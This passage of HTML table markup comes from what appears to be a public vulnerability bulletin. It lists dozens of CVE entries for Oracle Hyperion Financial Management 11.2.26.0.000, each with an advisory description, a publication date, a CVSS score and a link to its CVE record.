&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. While the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 9.6 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.6&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87186&quot; target=&quot;_blank&quot;&gt;CVE-2026-87186&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 9.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87188&quot; target=&quot;_blank&quot;&gt;CVE-2026-87188&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows high privileged attacker with network access via Oracle Net to compromise Oracle Hyperion Financial Management. While the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87189&quot; target=&quot;_blank&quot;&gt;CVE-2026-87189&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows high privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. While the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 9.1 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87214&quot; target=&quot;_blank&quot;&gt;CVE-2026-87214&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 9.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87217&quot; target=&quot;_blank&quot;&gt;CVE-2026-87217&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 9.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;9.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87223&quot; target=&quot;_blank&quot;&gt;CVE-2026-87223&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Difficult to exploit vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Hyperion Financial Management. While the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87171&quot; target=&quot;_blank&quot;&gt;CVE-2026-87171&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via TCP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87174&quot; target=&quot;_blank&quot;&gt;CVE-2026-87174&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. While the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.5 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.5&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87177&quot; target=&quot;_blank&quot;&gt;CVE-2026-87177&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows high privileged attacker with network access via SQL to compromise Oracle Hyperion Financial Management. While the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.7 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.7&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87178&quot; target=&quot;_blank&quot;&gt;CVE-2026-87178&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87179&quot; target=&quot;_blank&quot;&gt;CVE-2026-87179&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87180&quot; target=&quot;_blank&quot;&gt;CVE-2026-87180&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87181&quot; target=&quot;_blank&quot;&gt;CVE-2026-87181&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. While the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87182&quot; target=&quot;_blank&quot;&gt;CVE-2026-87182&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87185&quot; target=&quot;_blank&quot;&gt;CVE-2026-87185&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87187&quot; target=&quot;_blank&quot;&gt;CVE-2026-87187&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87196&quot; target=&quot;_blank&quot;&gt;CVE-2026-87196&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data as well as unauthorized update, insert or delete access to some of Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87197&quot; target=&quot;_blank&quot;&gt;CVE-2026-87197&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.2 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.2&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87200&quot; target=&quot;_blank&quot;&gt;CVE-2026-87200&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87201&quot; target=&quot;_blank&quot;&gt;CVE-2026-87201&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via SQL to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87202&quot; target=&quot;_blank&quot;&gt;CVE-2026-87202&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87204&quot; target=&quot;_blank&quot;&gt;CVE-2026-87204&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data and unauthorized ability to cause a partial denial of service (partial DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.3 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.3&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87210&quot; target=&quot;_blank&quot;&gt;CVE-2026-87210&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows unauthenticated attacker with access to the physical communication segment attached to the hardware where the Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data and unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.1 (Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.1&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87218&quot; target=&quot;_blank&quot;&gt;CVE-2026-87218&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with logon to the infrastructure where Oracle Hyperion Financial Management executes to compromise Oracle Hyperion Financial Management. While the vulnerability is in Oracle Hyperion Financial Management, attacks may significantly impact additional products (scope change). Successful attacks of this vulnerability can result in unauthorized creation, deletion or modification access to critical data or all Oracle Hyperion Financial Management accessible data as well as unauthorized access to critical data or complete access to all Oracle Hyperion Financial Management accessible data. CVSS 3.1 Base Score 8.4 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.4&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87219&quot; target=&quot;_blank&quot;&gt;CVE-2026-87219&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87224&quot; target=&quot;_blank&quot;&gt;CVE-2026-87224&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87226&quot; target=&quot;_blank&quot;&gt;CVE-2026-87226&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
&lt;td&gt;Vulnerability in the Oracle Hyperion Financial Management product of Oracle Hyperion (component: Security). The supported version that is affected is 11.2.26.0.000. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle Hyperion Financial Management. Successful attacks of this vulnerability can result in takeover of Oracle Hyperion Financial Management. CVSS 3.1 Base Score 8.8 (Confidentiality, Integrity and Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H).&lt;/td&gt;
&lt;td&gt;2026-09-15&lt;/td&gt;
&lt;td width:&gt;8.8&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-87227&quot; target=&quot;_blank&quot;&gt;CVE-2026-87227&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Oracle Corporation--Oracle Hyperion Financial Management&lt;/td&gt;
